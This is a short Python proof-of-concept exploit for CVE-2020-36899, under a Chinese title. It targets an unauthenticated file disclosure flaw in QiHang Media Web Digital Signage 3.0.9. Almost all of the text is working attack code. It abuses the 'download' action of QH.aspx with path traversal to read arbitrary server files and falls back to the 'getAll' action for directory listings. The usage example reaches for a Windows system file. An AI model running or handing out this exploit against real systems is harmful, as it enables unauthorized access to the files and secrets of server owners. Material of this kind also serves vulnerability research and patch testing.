CVE-2020-36899 QiHang Media Web数字标牌未授权文件泄露漏洞

# CVE-2020-36899 PoC - QiHang Media Web Unauthenticated File Disclosure # Target: QiHang Media Web Digital Signage 3.0.9 # Endpoint: QH.aspx import requests import sys def exploit_file_disclosure(target_url, filename): """ Exploit the unauthenticated file disclosure vulnerability Args: target_url: Base URL of the vulnerable application filename: File path to read (supports path traversal) """ # Try download action download_params = { 'action': 'download', 'filename': filename } print(f"[*] Attempting to read: {filename}") print(f"[*] Using download action...") try: response = requests.get(f"{target_url}/QH.aspx", params=download_params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File content:") print(response.text[:1000]) # Print first 1000 chars return True else: print(f"[-] Download action failed, trying getAll action...") # Try getAll action for directory listing getall_params = { 'action': 'getAll', 'path': filename } response = requests.get(f"{target_url}/QH.aspx", params=getall_params, timeout=10) if response.status_code == 200: print(f"[+] Directory listing success!") print(response.text) return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2020-36899.py <target_url> ") print("Example: python cve-2020-36899.py http://target.com ../../../../windows/system32/drivers/etc/hosts") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] exploit_file_disclosure(target, filename)